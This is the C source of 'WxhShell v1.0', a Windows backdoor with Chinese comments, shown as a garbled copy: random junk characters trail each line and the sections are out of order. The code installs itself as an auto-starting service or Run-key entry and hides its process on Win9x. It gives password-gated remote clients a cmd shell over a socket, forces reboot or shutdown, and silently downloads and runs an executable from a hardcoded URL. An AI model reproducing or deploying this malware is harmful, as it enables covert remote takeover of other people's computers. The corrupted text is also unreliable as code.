    if(Boot(SHUTDOWN)) 3fPd|F.kF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r8>(ayJ,  
    else { Xmr|k:z  
    closesocket(wsh); uvR9BL2=  
    ExitThread(0); JLo'=(  
    } 4j^-n_T  
    break; 4.il4Qqy}i  
    } X^;[X~g  
  // 获取shell %;ZWYj`]n  
  case 's': { w/_n$hX  
    CmdShell(wsh); VQ wr8jXye  
    closesocket(wsh); " !43,!<  
    ExitThread(0); \ldjWc<S  
    break; nF$n[:  
  } ,ab_u@  
  // 退出 W <.h@Rz+  
  case 'x': { bW03m_<M<1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,{DZvif   
    CloseIt(wsh); f}{ lRk  
    break; *FhD%><  
    } 0kC}qru'  
  // 离开 `q =e<$  
  case 'q': { Z3jh-{0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }*eiG  
    closesocket(wsh); vxuxfi8x  
    WSACleanup(); !R p  
    exit(1); W=b<"z]RE  
    break; %B9iby8)1  
        } #m>Rt~(,S  
  } :lf;C T6$  
  } OSP#FjH  
/8m2oL\<  
  // 提示信息 /tIR}qK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nADt8  
} ~q0g7?}&  
  } '2)c;/-E  
DXX(qk)6  
  return; xW|^2k  
} 7C~qAI6Eg  
},1**_#<Br  
// shell模块句柄 vn oI.;H,  
int CmdShell(SOCKET sock) dLA'cQId  
{ Qa*?iD  
STARTUPINFO si; _D{zB1d\0  
ZeroMemory(&si,sizeof(si)); r=57,P(:Ca  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jvfVB'Tmr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?}f+PP,  
PROCESS_INFORMATION ProcessInfo; F.;G6  
char cmdline[]="cmd"; QG{).|pm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J6m`XC  
  return 0; -anLp8G*  
} BP f;!.  
n0nf;E  
// 自身启动模式 e| AA7  
int StartFromService(void) g~q+a-  
{ ~vf&JH'!  
typedef struct z9> yg_Q  
{ 9{OH%bF  
  DWORD ExitStatus; Eu%19s; u  
  DWORD PebBaseAddress; {8L)Fw  
  DWORD AffinityMask; 31BN ?q  
  DWORD BasePriority; Y# <38+Gd  
  ULONG UniqueProcessId; HbQvu@  
  ULONG InheritedFromUniqueProcessId; #Bo/1G=  
}   PROCESS_BASIC_INFORMATION; lo}[o0X  
@3D8TPH  
PROCNTQSIP NtQueryInformationProcess; e[`E-br^  
XD1 x*#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9`[#4'1Mik  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,p(4OZz5,  
sU7>q}!  
  HANDLE             hProcess; >;E[XG^  
  PROCESS_BASIC_INFORMATION pbi; M~&|-Hm  
5fh@nR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w1zI"G~4/Q  
  if(NULL == hInst ) return 0; `i{k^Q  
e"jA#Y #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NW-l_]k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >v4k_JX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GPqF>   
V<} ^n  
  if (!NtQueryInformationProcess) return 0; 9&'I?D&8  
pB @l+ n^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6{O#!o*g  
  if(!hProcess) return 0; C=LXL1x2e  
,+p&ZpH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B x(+uNQ  
)p.+39]{2  
  CloseHandle(hProcess);  KR  
cQ4TYr;?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MSEBv Z-  
if(hProcess==NULL) return 0; wu*WA;FnA  
Kuh! b`9  
HMODULE hMod; 9"yBO`  
char procName[255]; =k4yWC5-  
unsigned long cbNeeded; /Vpd*obMB  
cz_4cMgxu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lYd#pNN  
kndP?#> p1  
  CloseHandle(hProcess); `I$qMw,@  
;qI5GQ {  
if(strstr(procName,"services")) return 1; // 以服务启动 l+'1>T.I  
k&nhF9Y4  
  return 0; // 注册表启动 _ Ko0  
}  FNZB M  
_/[n/"gn  
// 主模块 l<<G". ?  
int StartWxhshell(LPSTR lpCmdLine) ^qpa[6D6x  
{ vOYcS$,^X%  
  SOCKET wsl; .js4)$W^  
BOOL val=TRUE; -;$+`<%  
  int port=0; UQ|zSalv,  
  struct sockaddr_in door; 7YRDQjg  
=q|fe%#  
  if(wscfg.ws_autoins) Install(); uTJi }4cw  
D#%J||  
port=atoi(lpCmdLine); QN(f8t(  
&%pB; dk  
if(port<=0) port=wscfg.ws_port; #( nheL  
X$JO<@x  
  WSADATA data; K{VF_S:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BfOG e!Si  
 =erA.u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vvx(7p-GQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $"{V],:T |  
  door.sin_family = AF_INET; ;>=hQC{f>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Sg *j-.  
  door.sin_port = htons(port); TGLkwXOkT  
oWyg/{M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;U<) $5  
closesocket(wsl); f5a%/1?  
return 1; /x_C  
} @];#4O  
MW9B -x  
  if(listen(wsl,2) == INVALID_SOCKET) { tYfhKJzGC  
closesocket(wsl); k?Jzy  
return 1; hvBuQuk)  
} 4qda!%  
  Wxhshell(wsl); 4x'^?0H@  
  WSACleanup(); AW'tZF"  
=nnS X-x  
return 0; yh_s(>sh  
I#l9  
} %9mCgHQ9  
Kw'Dzz%kN  
// 以NT服务方式启动 "!)8bTW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,|I\{J #C  
{ We#*.nr{3Z  
DWORD   status = 0; v%3)wD  
  DWORD   specificError = 0xfffffff; ;lGa.RD[a  
d$rJW m5H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KHr8\qLH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1jmhh !,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jTw s0=F*  
  serviceStatus.dwWin32ExitCode     = 0; wri[#D {  
  serviceStatus.dwServiceSpecificExitCode = 0; zJ9ZqC]  
  serviceStatus.dwCheckPoint       = 0; z!Kadqns  
  serviceStatus.dwWaitHint       = 0; hl~(&D1^  
;$i9gP[|m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @ x*#7Y  
  if (hServiceStatusHandle==0) return;  v )7d  
(I.uQP~H  
status = GetLastError(); =mqV&FgRo  
  if (status!=NO_ERROR) z,rWj][P  
{ ~73"AWlp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #`"'  
    serviceStatus.dwCheckPoint       = 0; *ep!gT*4  
    serviceStatus.dwWaitHint       = 0; Tf@t.4\  
    serviceStatus.dwWin32ExitCode     = status; Q\=u2}/z0  
    serviceStatus.dwServiceSpecificExitCode = specificError; cD s#5,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SATZ!  
    return; =|3 L'cDC  
  } n+GCL+Mo  
3UC8iq*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W \f7fVU  
  serviceStatus.dwCheckPoint       = 0; ]VJcV.7`  
  serviceStatus.dwWaitHint       = 0; 4 d]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6%S>~L66  
} ^ioTd  
A#1y>k  
// 处理NT服务事件,比如:启动、停止 iI&SI#; _  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =As'vt 0  
{ 5!nZvv  
switch(fdwControl) @oRYQ|.R  
{ ,A6*EJ\w   
case SERVICE_CONTROL_STOP: z5'VsK:  
  serviceStatus.dwWin32ExitCode = 0; cjN4U [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  7/7A  
  serviceStatus.dwCheckPoint   = 0; Wq{'ZN  
  serviceStatus.dwWaitHint     = 0; 0[3b,  
  { ==FzkRA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X_!mZ\H7  
  } /@#)j( eY/  
  return; %\b5)p  
case SERVICE_CONTROL_PAUSE: 6AQ;P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #-lk=>  
  break; r LfS9H  
case SERVICE_CONTROL_CONTINUE: }Xc|Z.6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CKBi-q FH  
  break;  Mx r#  
case SERVICE_CONTROL_INTERROGATE: {iQ<`,)Y  
  break; LnJ7i"Q  
}; coLn};W2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>e>G(4(8  
} P;_dil G  
jB1\L<P  
// 标准应用程序主函数 5Rec}H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RmNF]"3%  
{ vY;Lc   
{Zseu$c  
// 获取操作系统版本 ,}2j Fb9z4  
OsIsNt=GetOsVer();  %ANPv=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t#pY2!/T3  
Gc 8  
  // 从命令行安装 .`h+fqa  
  if(strpbrk(lpCmdLine,"iI")) Install(); 15eHddd  
l%w7N9  
  // 下载执行文件 z:fhq:R(  
if(wscfg.ws_downexe) { @pS[_!EqYz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d?{2A84S  
  WinExec(wscfg.ws_filenam,SW_HIDE); '\_)\`a|  
} nVM`&azD  
}E1Eq  
if(!OsIsNt) { 50R+D0^mh  
// 如果时win9x,隐藏进程并且设置为注册表启动 W@S9}+wl*  
HideProc(); [&`>&u@MK  
StartWxhshell(lpCmdLine); =:0(&NCRq  
} 11-uJVO~*  
else ^y6CV4T+  
  if(StartFromService()) pF !vW  
  // 以服务方式启动 *{Z!m@?  
  StartServiceCtrlDispatcher(DispatchTable); Y zvtxX*  
else 87>Qw,r  
  // 普通方式启动 Bpp9I;)c  
  StartWxhshell(lpCmdLine); QV 'y6m\  
2mT+@G  
return 0; hWW<]qzA,  
} 'Qfy+_0  
y(z U:.  
AdYQhF##  
|$w-}$jq5  
=========================================== ;yXnPAtJ  
<?7~,#AK  
X'F$K!o*,:  
o{Ep/O`  
uJ y@  
$Yxy(7d7w  
" )/pPY  
5(|ud)v  
#include <stdio.h> HWU{521  
#include <string.h> bbM !<&F  
#include <windows.h> .KLuGb 3JJ  
#include <winsock2.h> 3gh^a;uC  
#include <winsvc.h> >k jJq]A2  
#include <urlmon.h> N~kYT\$b#  
P3|<K-dFAK  
#pragma comment (lib, "Ws2_32.lib") +]zP $5_e  
#pragma comment (lib, "urlmon.lib") CKur$$B  
O^$Zz<  
#define MAX_USER   100 // 最大客户端连接数 m{yON&y  
#define BUF_SOCK   200 // sock buffer .WPqK >79|  
#define KEY_BUFF   255 // 输入 buffer Bx)&MYY}[[  
4%7*tVG  
#define REBOOT     0   // 重启 4>HGwk@+8  
#define SHUTDOWN   1   // 关机 .KSGma6]  
8UcT? Zp  
#define DEF_PORT   5000 // 监听端口 |Wgab5D>V  
?C{N0?[P-  
#define REG_LEN     16   // 注册表键长度 ZM.g +-9  
#define SVC_LEN     80   // NT服务名长度 f$'D2o, O  
}>:X|4]  
// 从dll定义API TK>}$.c%+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;v'Y' !-J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OY#_0p)i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z~5'p(|@f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pp`U]Q5"gX  
G<eJ0S  
// wxhshell配置信息 a+i+#*8wm  
struct WSCFG { `!8Z"xD  
  int ws_port;         // 监听端口 jY.%~Y1y  
  char ws_passstr[REG_LEN]; // 口令 e- CW4x  
  int ws_autoins;       // 安装标记, 1=yes 0=no zE/(F;> FV  
  char ws_regname[REG_LEN]; // 注册表键名 O5?Eb  
  char ws_svcname[REG_LEN]; // 服务名 yB1>83!q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u2Obb`p S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?rDwYG(u]@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qh 3f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xL"% 2nf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F)w83[5_d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8IH gsW";  
I2T2'_I  
}; "U.=A7r  
AF}"  
// default Wxhshell configuration _@;N<$&  
struct WSCFG wscfg={DEF_PORT, YLo$n  
    "xuhuanlingzhe", y<b0z\  
    1, Y5CE#&  
    "Wxhshell", '1 $({{R  
    "Wxhshell", ]l'ki8  
            "WxhShell Service", A{%;Hd`0/  
    "Wrsky Windows CmdShell Service", -`UlntEdZ:  
    "Please Input Your Password: ", s`YuH <8  
  1, F! e`i-xt  
  "http://www.wrsky.com/wxhshell.exe", TbVL71c  
  "Wxhshell.exe" U'G`Q0n  
    }; QEKFuY<E+  
bl<7[J.  
// 消息定义模块 z;fSd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LH;G :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ym{DSx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^aCYh[=  
char *msg_ws_ext="\n\rExit."; WRyLpTr-  
char *msg_ws_end="\n\rQuit."; aO%FQ)BT  
char *msg_ws_boot="\n\rReboot..."; V1`| j  
char *msg_ws_poff="\n\rShutdown..."; Qknc.Z}  
char *msg_ws_down="\n\rSave to "; zOdKB2_J7  
sD +G+  
char *msg_ws_err="\n\rErr!"; E=NY{| >  
char *msg_ws_ok="\n\rOK!"; {SJ7Yfs  
w#,v n8  
char ExeFile[MAX_PATH]; R-fjxM*  
int nUser = 0; f4_G[?9,  
HANDLE handles[MAX_USER]; AUde_ 1hi  
int OsIsNt;  )S;ps  
"r"An"  
SERVICE_STATUS       serviceStatus; ~7a BeD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JrTBe73.]j  
cx(F,?SbS  
// 函数声明 CF"3<*%x  
int Install(void); ""^BW Re D  
int Uninstall(void); oZ[ w  
int DownloadFile(char *sURL, SOCKET wsh); 55b |zf  
int Boot(int flag); E|  
void HideProc(void); -Wk"o?} q  
int GetOsVer(void); V2%wb\_z  
int Wxhshell(SOCKET wsl); qEr[fC@x  
void TalkWithClient(void *cs); [i1D~rCcn  
int CmdShell(SOCKET sock); e&4u^'+K  
int StartFromService(void); CD[=z)<z{  
int StartWxhshell(LPSTR lpCmdLine); G\ZRNb  
1I_q3{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @|Bp'`j%J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )\Q|}JV  
H> iZVE  
// 数据结构和表定义 nV*sdSt  
SERVICE_TABLE_ENTRY DispatchTable[] = iQ C&d_#  
{ ss8v4@C  
{wscfg.ws_svcname, NTServiceMain}, #!,`EU  
{NULL, NULL} p|V1Gh<  
}; ZMg9Qt  
>8O=^7  
// 自我安装 Bqlc+d:  
int Install(void) \Pmk`^T  
{ )#~fS28j  
  char svExeFile[MAX_PATH]; N|2  
  HKEY key; B1#>$"_0}=  
  strcpy(svExeFile,ExeFile); >C&<dO#i  
L"6/"L  
// 如果是win9x系统,修改注册表设为自启动 $ _Bu,;  
if(!OsIsNt) { / i2-h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u>6/_^iq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F5[ITK]A4  
  RegCloseKey(key); `Kw8rG\]:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RmV/wY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kQlcT"R  
  RegCloseKey(key); nvVsO>2{ o  
  return 0; 3#9r4;&  
    } @~G`~8   
  } XPo'iI-  
} igj@{FN  
else { *"{Z?< 3  
)ZyuF(C&  
// 如果是NT以上系统,安装为系统服务 !>Y\&zA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]mo<qWRc>p  
if (schSCManager!=0)  Rha3  
{ c$:=d4t5$  
  SC_HANDLE schService = CreateService Nw& }qSN  
  ( W(lKR_pF  
  schSCManager, s{J!^q  
  wscfg.ws_svcname, WTv\HI2X !  
  wscfg.ws_svcdisp, I jztj  
  SERVICE_ALL_ACCESS, i=H>D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H6S vU  
  SERVICE_AUTO_START, gs8@b5 RSb  
  SERVICE_ERROR_NORMAL, Mqf}Aiqk;  
  svExeFile, SH$cn,3F8  
  NULL, `oRs-,d|<  
  NULL, A<CXdt+t  
  NULL, ff./DMDafI  
  NULL, cBR8HkP~  
  NULL wK`ieHmp  
  ); R6Z}/m  
  if (schService!=0)  Is6 _  
  { ~2DV{dyj  
  CloseServiceHandle(schService); a;T[%'in  
  CloseServiceHandle(schSCManager); y{I[}$k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2$W,R/CLh  
  strcat(svExeFile,wscfg.ws_svcname); 8Pr7aT:,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #L= eK8^e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [d~bZS|(T(  
  RegCloseKey(key); bok 74U]  
  return 0; yP9wYF^A\  
    } }d\Tk(W  
  } f3>6:(  
  CloseServiceHandle(schSCManager); xXxh3 k\  
} g74z]Uj.B  
} }%FuL5Tx  
|-Esc|J(  
return 1; LI;EfyL  
} ~ 9~\f  
#iU8hUbo  
// 自我卸载 ?r E]s!K  
int Uninstall(void) {$1$]p~3 o  
{ OPt;G,$ta  
  HKEY key; J[Yg]6  
CC(*zrOd-  
if(!OsIsNt) { S{(p<%)[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q(tG bhQ  
  RegDeleteValue(key,wscfg.ws_regname); P(gVF |J?  
  RegCloseKey(key); :htq%gPex9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O:=|b]t  
  RegDeleteValue(key,wscfg.ws_regname); J1Ki2I=  
  RegCloseKey(key); S O:V|Tfj  
  return 0; ^N2M/B|0  
  } BS,5W]ervE  
} ,ibPSN5Ca  
} ssyd8LC#  
else { o),6o'w(  
1mVVPt^6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XZdr`$zf  
if (schSCManager!=0) u6Qf*_-K  
{ Li-(p"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C| L^Ds0  
  if (schService!=0) $7DcQ b9  
  { $n#Bi.A j  
  if(DeleteService(schService)!=0) { kAB+28A  
  CloseServiceHandle(schService); *xo;pe)9  
  CloseServiceHandle(schSCManager); MjXE|3&  
  return 0; hN_f h J  
  } hKZ`DB4  
  CloseServiceHandle(schService); ,WB_C\.#XN  
  } Z-h7  
  CloseServiceHandle(schSCManager); +5t bK  
} Ds%&Mi  
} sId(PT^  
uQu/(5  
return 1; %X"m/4c8}  
} E_D ^O  
]dbSa1?  
// 从指定url下载文件 ~@4ZV  
int DownloadFile(char *sURL, SOCKET wsh) 6%\Q*r*N  
{ l /png:  
  HRESULT hr; T<f\*1~^  
char seps[]= "/"; Z 5)_B,E:X  
char *token; ,c%K)KuPK.  
char *file; Vl 19Md  
char myURL[MAX_PATH]; 95^i/6Gl!P  
char myFILE[MAX_PATH]; Gkv~e?Kc~^  
VwOG?5W/  
strcpy(myURL,sURL); puS&S *  
  token=strtok(myURL,seps); Q1nDl  
  while(token!=NULL) hP1 l v7P  
  { B?#kW!wj  
    file=token; M,t*nG  
  token=strtok(NULL,seps); C3\E.u ?  
  } "7yNKO;W  
[l':G]  
GetCurrentDirectory(MAX_PATH,myFILE); y5/'!L)g  
strcat(myFILE, "\\"); `/w\2n  
strcat(myFILE, file); 09 39i_  
  send(wsh,myFILE,strlen(myFILE),0); <wt$Gglk  
send(wsh,"...",3,0); @ 2!C^}d3F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .;HIEj zq  
  if(hr==S_OK) J}(6>iuQY?  
return 0; ;;?vgrz  
else Z%+BWS3YqY  
return 1; 7Y32p'  
1 @%B?  
} BeI;#m0  
N~):c2Kp<9  
// 系统电源模块 Oz&+{ c  
int Boot(int flag) p"[O#*p  
{ _^ q\XPS  
  HANDLE hToken; eB= v~I3  
  TOKEN_PRIVILEGES tkp; a(@p0YpKT  
.~q)eV  
  if(OsIsNt) { 4O`6h)!NQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3a#PA4Ql  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wy{\/?~c  
    tkp.PrivilegeCount = 1; )d +hZ'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U!c]_q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g5[D&  
if(flag==REBOOT) { ' :\fl.b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tx0Go'{  
  return 0; sn-)(XU!  
} $T?*0"Mj[  
else { g/8.W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OGJ=VQA  
  return 0; [dj5 $l|  
} ge0's+E+1  
  } =n-z;/NL  
  else { g ?afX1Sg  
if(flag==REBOOT) { M[aT2A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U_}7d"<| ?  
  return 0; &P 8!]:  
} r8uqcKfU  
else { 8RdP:*HY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J3B6X8P'  
  return 0; fokwW}>B[f  
} UvkJ?Bu  
} V: ^JC>6  
?ork^4 $s  
return 1; %O#)Nq>mp  
} )YuRjBcp,"  
dQ:?<zZ  
// win9x进程隐藏模块 #gh p/YoTq  
void HideProc(void) q0&Wk"X%rr  
{ U1l0Uke  
z|ves&lRa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D" L|"qJ  
  if ( hKernel != NULL ) [ S5bj]D  
  { z@zD .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 81Z4>F:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UL+E,=  
    FreeLibrary(hKernel); ],n%Xp  
  } mA& =q_gS  
)8;{nqoC  
return; *|mz_cKu  
} e1Ob!N-  
sltk@  
// 获取操作系统版本 d7* CwY9"  
int GetOsVer(void) A8J8u,u9  
{ LZ{YmD&6]  
  OSVERSIONINFO winfo; qNpu}\L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yv^p =-E  
  GetVersionEx(&winfo); Gz ?2b#7v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L[rpb.'FG  
  return 1; MSl&?}Bj  
  else `\!X}xiWd  
  return 0; [OzzL\)3l  
} 9qpU@V!  
GR<c=   
// 客户端句柄模块 c<?[d!vI  
int Wxhshell(SOCKET wsl) 6 *Zj]is  
{ ! ao6e  
  SOCKET wsh; ~ FGe ~  
  struct sockaddr_in client; 5:UyUB  
  DWORD myID; Km,*)X.-5  
W2`.RF^  
  while(nUser<MAX_USER) 7,*%[#-HE  
{ >V(zJ  
  int nSize=sizeof(client); B| tzF0;c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SET-8f  
  if(wsh==INVALID_SOCKET) return 1; Txo@ U  
c5("-xB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i X%[YQ |  
if(handles[nUser]==0) [EgW/\35  
  closesocket(wsh); g5y;?fqJ  
else JkU1daTe  
  nUser++; [Eu];  
  } ltoqtB\s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r0\?WoF2C  
'<7S^^ax  
  return 0; #zt*xS[{0  
} Y9u;H^^G  
qK?$= h.  
// 关闭 socket gz;&u)  
void CloseIt(SOCKET wsh) MLV:U  
{ x` 2| }AP(  
closesocket(wsh); `}gdN};  
nUser--; 4=xq:Tf  
ExitThread(0); "b]#MO}P  
} dCeX}Z  
e0 u,zg+m  
// 客户端请求句柄 ]9*;;4M g  
void TalkWithClient(void *cs) :I \9YzSs@  
{ @DuK#W"E u  
03([@d6<E  
  SOCKET wsh=(SOCKET)cs; mRwT_(;t  
  char pwd[SVC_LEN]; ^P?vkO"pB?  
  char cmd[KEY_BUFF]; vZu~LW@1  
char chr[1]; -f?Ah  
int i,j; QL97WK\$  
*tc{vtuu~^  
  while (nUser < MAX_USER) { B76 v}O:  
H-I{-Fm  
if(wscfg.ws_passstr) { /ZW&0 E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , ECLqs%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a }'->H  
  //ZeroMemory(pwd,KEY_BUFF); pjw aL^  
      i=0; -W c~B3E|  
  while(i<SVC_LEN) { _6MdF<Xb/  
B[F-gq-  
  // 设置超时 KzphNHd  
  fd_set FdRead; ``u:lL  
  struct timeval TimeOut; Gr: 3{o`  
  FD_ZERO(&FdRead); !8R@@,_v  
  FD_SET(wsh,&FdRead); }H RK?.Vj:  
  TimeOut.tv_sec=8; *5OCqU+g  
  TimeOut.tv_usec=0; Cqx v"NN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +@<KC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JYm7@gx  
ghAi{@s$)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hx2En:^Gf  
  pwd=chr[0]; I%"'*7 U  
  if(chr[0]==0xd || chr[0]==0xa) { c #lPc>0xb  
  pwd=0; -.iNNM&a  
  break; |cDszoT /  
  } 0q,pi qjO  
  i++; MT6/2d  
    } P`jL]x  
{Dr@HP/x=s  
  // 如果是非法用户,关闭 socket 33K*qaRAD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (K :]7  
} = 96P7#%  
!MVj=(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bs8[+Ft5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g%a|q~)  
|0.Xl+7  
while(1) { r-IT(DzkD  
A}5fCx.{  
  ZeroMemory(cmd,KEY_BUFF); "e6|"w@8  
iiG f'@/  
      // 自动支持客户端 telnet标准   fD4ICO@  
  j=0; 0Fw6Dq<8-!  
  while(j<KEY_BUFF) { `f9gC3Hk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &aG*k*  
  cmd[j]=chr[0]; Xsuwa-G!5~  
  if(chr[0]==0xa || chr[0]==0xd) { z0bJ?~w,  
  cmd[j]=0; @;:>GA  
  break; Ai"-w"  
  } '91".c,3?  
  j++; -*a?<ES`  
    } MCc$TttaVz  
@5VV|Wt=  
  // 下载文件 "D][e'  
  if(strstr(cmd,"http://")) { EJ84rSp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^2JpWY:|7  
  if(DownloadFile(cmd,wsh)) -$2kO`|p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :I1_X  
  else \or G63T:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*YD&(  
  } 3c3OG.H$8  
  else { Sr_VL:Gg  
 dy>!KO  
    switch(cmd[0]) { bh p5<N  
  IMGP'g  
  // 帮助 A,gEM4  
